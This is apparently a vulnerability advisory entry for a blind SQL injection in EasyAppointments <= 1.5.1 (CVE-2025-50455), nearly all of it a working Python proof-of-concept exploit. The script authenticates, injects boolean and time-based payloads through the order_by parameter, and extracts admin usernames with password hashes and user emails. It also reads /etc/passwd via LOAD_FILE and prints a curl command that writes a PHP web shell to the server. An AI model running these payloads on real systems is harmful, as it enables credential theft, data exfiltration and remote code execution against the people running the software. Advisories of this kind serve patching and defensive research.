SQL injection vulnerability exists in the order_by parameter of the /customers/search endpoint in Alex Tselegidis EasyAppointments <= 1.5.1. The vulnerability arises from unsanitized user input passed to the order_by method of the CodeIgniter Query Builder, enabling attackers to perform time-based queries and schema enumeration. Under certain MySQL configurations, the flaw may lead to remote code execution by writing a PHP shell using INTO OUTFILE.

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Indicators of Compromise

• exploit-code: # Exploit Title: EasyAppointments 1.5.1 - Blind SQL Injection # Google Dork: N/A (backend login required) # Date: 07/27/2026 # Exploit Author: Michael Chesang # Vendor Homepage: https://easyappointments.org # Software Link: https://github.com/alextselegidis/easyappointments/releases # Version: <= 1.5.1 (REQUIRED) # Tested on: Linux (Debian, Docker), MySQL 8.0.46, PHP 8.2.28 # CVE: CVE-2025-50455 === Description === A blind SQL injection vulnerability exists in the order_by parameter of the /index.php/customers/search endpoint in EasyAppointments <= 1.5.1. The parameter is passed unsanitized to CodeIgniter 3 Query Builder order_by(). Parenthesized subqueries bypass backtick escaping via CI3's protect_identifiers(), enabling arbitrary SQL injection. Dual-mode extraction: - Boolean (~0.1s/query): (SELECT IF(condition, id, -id)) DESC via JSON order - Time-based (~5s/query): 1 ASC, (SELECT IF(condition, SLEEP(5), 0)) === PoC attached: poc_CVE-2025-50455.py === Usage: python3 poc_CVE-2025-50455.py --url http://target/ \ --username admin --password secret \ --mode bool --target version === References === https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w45h-26pc-4gr9 https://github.com/alextselegidis/easyappointments/commit/0f0d71cfe0692daed9aee59bc424ce2a084fd59e https://github.com/threatlance-org/security-advisories/blob/main/CVE-2025-50455/advisory.md import argparse import json import re import sys import time import requests import urllib.parse import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) BANNER = r""" _______ _ ________ ___ ___ ___ ______ _____ ____ __ _ ____ / ___\ \ / /__|__ / __| |_ ) / _ \|_ )|__ /__|/ ____| ___|| \| | ___| | |__ \ V / -_)/ /| _| / / | (_) |/ / |_ \_ \___ \|___ \| |___ \ \____| \_/\___/___|___| /___| \___//___|____(_) ____/ ____/|_|\__|____/ CVE-2025-50455 · Blind SQL Injection · EasyAppointments <= 1.5.1 POST /index.php/{customers,admins,providers,...}/search → order_by Dual-mode: boolean (~0.1s/q) or time-based (~5s/q) Author: Michael Chesang """ ENDPOINTS = { "customers": "index.php/customers/search", "admins": "index.php/admins/search", "providers": "index.php/providers/search", "services": "index.php/services/search", "service_categories": "index.php/service_categories/search", "webhooks": "index.php/webhooks/search", "blocked_periods": "index.php/blocked_periods/search", } LOGIN_PATH = "index.php/login" VALIDATE_PATH = "index.php/login/validate" SLEEP_SEC = 5 SLEEP_TOL = 1.5 def die(msg: str): print(msg, file=sys.stderr) sys.exit(1) def extract_csrf(html: str) -> str: m = re.search(r'"csrf_token"\s*:\s*"([a-f0-9]+)"', html) if not m: die("[!] Could not extract csrf_token from page.") return m.group(1) def login(args) -> requests.Session: sess = requests.Session() sess.verify = args.verify r = sess.get(urllib.parse.urljoin(args.url, LOGIN_PATH), timeout=args.timeout) if r.status_code not in (200, 302): die(f"[!] Cannot reach login page: HTTP {r.status_code}") csrf_token = extract_csrf(r.text) r = sess.post( urllib.parse.urljoin(args.url, VALIDATE_PATH), data={"csrf_token": csrf_token, "username": args.username, "password": args.password}, timeout=args.timeout, ) if not r.json().get("success"): die("[!] Authentication failed – wrong credentials.") print(f"[+] Authenticated as '{args.username}'") return sess def send(sess, args, order_by: str) -> requests.Response: search_path = ENDPOINTS.get(args.endpoint, ENDPOINTS["customers"]) url = urllib.parse.urljoin(args.url, search_path) csrf_token = sess.cookies.get("csrf_cookie", "") data = { "csrf_token": csrf_token, "keyword": "", "limit": 20, "offset": 0, "order_by": order_by, } return sess.post(url, data=data, timeout=args.timeout) def timed_send(sess, args, order_by: str) -> float: t0 = time.monotonic() send(sess, args, order_by) return time.monotonic() - t0 def delayed(elapsed: float) -> bool: return elapsed >= (SLEEP_SEC - SLEEP_TOL) # ── Boolean Oracle ──────────────────────────────────────────────────────── def find_ref_id(sess, args) -> int: """Find the ID of the first row when sorted by id ASC. Reference anchor for boolean oracle — stays constant on FALSE. Returns -1 if only 1 row (boolean mode unavailable). """ try: r = send(sess, args, "id ASC") rows = r.json() if len(rows) < 2: return -1 return rows[0]["id"] except Exception: return -1 def bool_oracle(sess, args, condition: str, ref_id: int) -> bool: """Boolean oracle via ORDER BY manipulation. Payload: (SELECT IF(condition, id, -id)) DESC TRUE → first row has id != ref_id (sorted by id DESC) FALSE → first row has id == ref_id (sorted by -id DESC == id ASC) """ payload = f"(SELECT IF({condition}, id, -id)) DESC" try: r = send(sess, args, payload) rows = r.json() if not rows: return False return rows[0].get("id", 0) != ref_id except Exception: return False # ── Time-based Oracle ───────────────────────────────────────────────────── def time_oracle(sess, args, condition: str) -> bool: payload = f"1 ASC, (SELECT IF({condition}, SLEEP({SLEEP_SEC}), 0))" return delayed(timed_send(sess, args, payload)) # ── Binary-search extraction (shared) ───────────────────────────────────── def get_length(sess, args, oracle_fn, expr: str, max_len: int = 512) -> int: lo, hi = 1, max_len while lo < hi: mid = (lo + hi) // 2 if oracle_fn(sess, args, f"LENGTH(({expr})) <= {mid}"): hi = mid else: lo = mid + 1 return lo def get_char(sess, args, oracle_fn, expr: str, pos: int) -> str: lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 if oracle_fn(sess, args, f"ASCII(SUBSTRING(({expr}),{pos},1)) <= {mid}"): hi = mid else: lo = mid + 1 return chr(lo) if lo <= 126 else "?" def extract(sess, args, oracle_fn, expr: str, label: str = "", max_len: int = 256) -> str: tag = label or expr print(f"\n[*] Extracting: {tag}") length = get_length(sess, args, oracle_fn, expr, max_len) print(f"[*] Length = {length} chars") result = "" for pos in range(1, length + 1): ch = get_char(sess, args, oracle_fn, expr, pos) result += ch print(f" [{pos:03d}/{length}] {result}", end="\r", flush=True) print(f" [{length:03d}/{length}] {result} ") return result # ── Target expressions ──────────────────────────────────────────────────── TARGETS = { "version": ("@@version", "MySQL version"), "user": ("USER()", "DB user"), "database": ("DATABASE()", "Current database"), "datadir": ("@@datadir", "Data directory"), "hostname": ("@@hostname", "Hostname"), "secure_file_priv": ("IFNULL(NULLIF(@@global.secure_file_priv,''),CHAR(78,79,78,69))", "secure_file_priv"), "tables": ("(SELECT GROUP_CONCAT(table_name ORDER BY table_name SEPARATOR ',') FROM information_schema.tables WHERE table_schema=DATABASE())", "All tables"), "columns": ("(SELECT GROUP_CONCAT(column_name ORDER BY column_name SEPARATOR ',') FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='{table}')", "Columns of `{table}`"), "admin_creds": ("(SELECT GROUP_CONCAT(username, CHAR(58), password SEPARATOR '|') FROM ea_user_settings LIMIT 10)", "Usernames + password hashes"), "user_emails": ("(SELECT GROUP_CONCAT(email SEPARATOR ',') FROM ea_users LIMIT 20)", "User e-mail addresses"), } # ── Modes ───────────────────────────────────────────────────────────────── def mode_bool(sess, args): """Boolean-based extraction via ORDER BY first-row oracle. Fastest mode.""" print(f"\n[*] Mode: boolean-based extraction") print(f"[*] Endpoint: {args.endpoint}") ref_id = find_ref_id(sess, args) if ref_id < 0: print("[!] <2 rows in response — boolean oracle unavailable, use --mode time.") return print(f"[*] Reference ID (FALSE anchor): {ref_id}") oracle_fn = lambda s, a, c: bool_oracle(s, a, c, ref_id) expr_label = TARGETS.get(args.target, TARGETS["version"]) expr = expr_label[0].format(table=args.table) label = expr_label[1].format(table=args.table) if hasattr(expr_label[1], 'format') else expr_label[1] value = extract(sess, args, oracle_fn, expr, label) print(f"\n[+] {label}: {value}") def mode_time(sess, args): print("\n[*] Mode: time-based confirmation") print(f"[*] Payload: 1 ASC, (SELECT SLEEP({SLEEP_SEC}))") print() elapsed_vuln = timed_send(sess, args, f"1 ASC, (SELECT SLEEP({SLEEP_SEC}))") elapsed_safe = timed_send(sess, args, "update_datetime DESC") print(f" Injected (sleep) → {elapsed_vuln:.2f}s") print(f" Benign (no sleep) → {elapsed_safe:.2f}s") print() if delayed(elapsed_vuln) and not delayed(elapsed_safe): print("[+] ✔ VULNERABLE") else: print("[-] Timing inconclusive – check connectivity/firewall or increase --timeout.") def mode_enum(sess, args): """Extract arbitrary data via time-based oracle.""" expr_label = TARGETS.get(args.target, TARGETS["version"]) expr = expr_label[0].format(table=args.table) label = expr_label[1] print(f"\n[*] Mode: data enumeration ({label})") value = extract(sess, args, time_oracle, expr, label) print(f"\n[+] {label}: {value}") def mode_schema(sess, args): tables_to_probe = [ "ea_users", "ea_appointments", "ea_services", "ea_providers", "ea_settings", "users", "admins", ] if args.table and args.table not in tables_to_probe: tables_to_probe.insert(0, args.table) print("\n[*] Mode: schema enumeration via IF(EXISTS(…), SLEEP, 0)") print(f"[*] Probing tables: {tables_to_probe}") print() found = [] for tbl in tables_to_probe: cond = (f"EXISTS(SELECT 1 FROM information_schema.tables " f"WHERE table_schema=DATABASE() AND table_name='{tbl}')") payload = f"1 AND (SELECT IF({cond}, SLEEP({SLEEP_SEC}), 0))" print(f" Testing '{tbl}' …", end=" ", flush=True) elapsed = timed_send(sess, args, payload) if delayed(elapsed): print(f"EXISTS ({elapsed:.1f}s delay)") found.append(tbl) else: print(f"not found ({elapsed:.1f}s)") print() if found: print(f"[+] Confirmed tables: {found}") else: print("[-] No tested tables confirmed.") def mode_outfile(sess, args): outfile = args.outfile readfile = args.readfile shell = '<?php system($_GET["cmd"]); ?>' print("\n[*] Mode: FILE privilege exploitation") print(f"[*] Read target : {readfile}") print(f"[*] Write target: {outfile}") print() # Step 1: check secure_file_priv print("[*] Step 1 – Enumerating @@global.secure_file_priv …") try: sfp = extract( sess, args, time_oracle, "IFNULL(NULLIF(@@global.secure_file_priv,''),'UNRESTRICTED')", "secure_file_priv", max_len=128, ) print(f"\n[+] secure_file_priv = {sfp!r}") file_priv = "UNRESTRICTED" in sfp or sfp == "" or sfp.upper() != "NULL" except Exception: print("[!] Could not determine secure_file_priv, assuming restricted.") file_priv = False # Step 2: LOAD_FILE read print() print("[*] Step 2 – Reading file via LOAD_FILE() sub-query …") if not file_priv: print("[!] FILE privilege unavailable – skipping read.") else: file_len = get_length( sess, args, time_oracle, f"IFNULL(LOAD_FILE('{readfile}'),'')", max_len=65536, ) if file_len == 0: print(f"[!] LOAD_FILE('{readfile}') returned NULL – not readable.") else: print(f"[+] File is readable ({file_len} bytes). Extracting first 512 bytes …") content = extract( sess, args, time_oracle, f"IFNULL(LOAD_FILE('{readfile}'),'')", f"LOAD_FILE({readfile})", max_len=min(file_len, 512), ) print(f"\n[+] File content ({readfile}):") print("-" * 60) print(content) print("-" * 60) # Step 3: stacked-query write (theoretical) print() print("[*] Step 3 – INTO OUTFILE via stacked queries (theoretical)") search_url = urllib.parse.urljoin(args.url, ENDPOINTS[args.endpoint]) stacked = f"update_datetime DESC; SELECT '{shell}' INTO OUTFILE '{outfile}'-- -" print(f" curl -X POST {search_url} \\") print(f" -b 'ea_session=<your_session>' \\") print(f" -d $'keyword=&limit=20&offset=0&order_by={stacked}'") # ── CLI ─────────────────────────────────────────────────────────────────── def parse_args() -> argparse.Namespace: p = argparse.ArgumentParser( prog="poc_CVE-2025-50455", description="CVE-2025-50455 – EasyAppointments <= 1.5.1 Blind SQLi PoC", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=__doc__, ) p.add_argument("--url", required=True, help="Base URL (e.g. http://172.17.0.1/)") p.add_argument("--username", required=True, help="Backend username") p.add_argument("--password", required=True, help="Backend password") p.add_argument( "--mode", choices=["bool", "time", "schema", "enum", "outfile"], default="time", help=( "bool – boolean extraction via ORDER BY (fastest, need 2+ rows)\n" "time – time-based SLEEP confirmation (default)\n" "schema – probe table existence via SLEEP\n" "enum – time-based data extraction\n" "outfile – LOAD_FILE() read + write analysis" ), ) p.add_argument( "--endpoint", choices=list(ENDPOINTS.keys()), default="customers", help="Vulnerable endpoint (default: customers)", ) p.add_argument( "--target", choices=list(TARGETS.keys()), default="version", help="(enum/bool mode) what to extract. Default: version", ) p.add_argument("--table", default="ea_users", help="Table name for --target columns / --mode schema") p.add_argument("--outfile", default="/var/www/html/shell.php", help="(outfile) Server path for shell") p.add_argument("--readfile", default="/etc/passwd", help="(outfile) File to read via LOAD_FILE()") p.add_argument("--timeout", type=int, default=30, help="HTTP timeout (default: 30)") p.add_argument("--no-verify", dest="verify", action="store_false", default=True, help="Disable TLS verification") return p.parse_args() def main(): print(BANNER) args = parse_args() if not args.url.endswith("/"): args.url += "/" print(f"[*] Target : {args.url}") print(f"[*] Endpoint : {args.endpoint}") print(f"[*] Mode : {args.mode}") print(f"[*] Timeout : {args.timeout}s") sess = login(args) dispatch = { "bool": mode_bool, "time": mode_time, "schema": mode_schema, "enum": mode_enum, "outfile": mode_outfile, } dispatch[args.mode](sess, args) if __name__ == "__main__": main()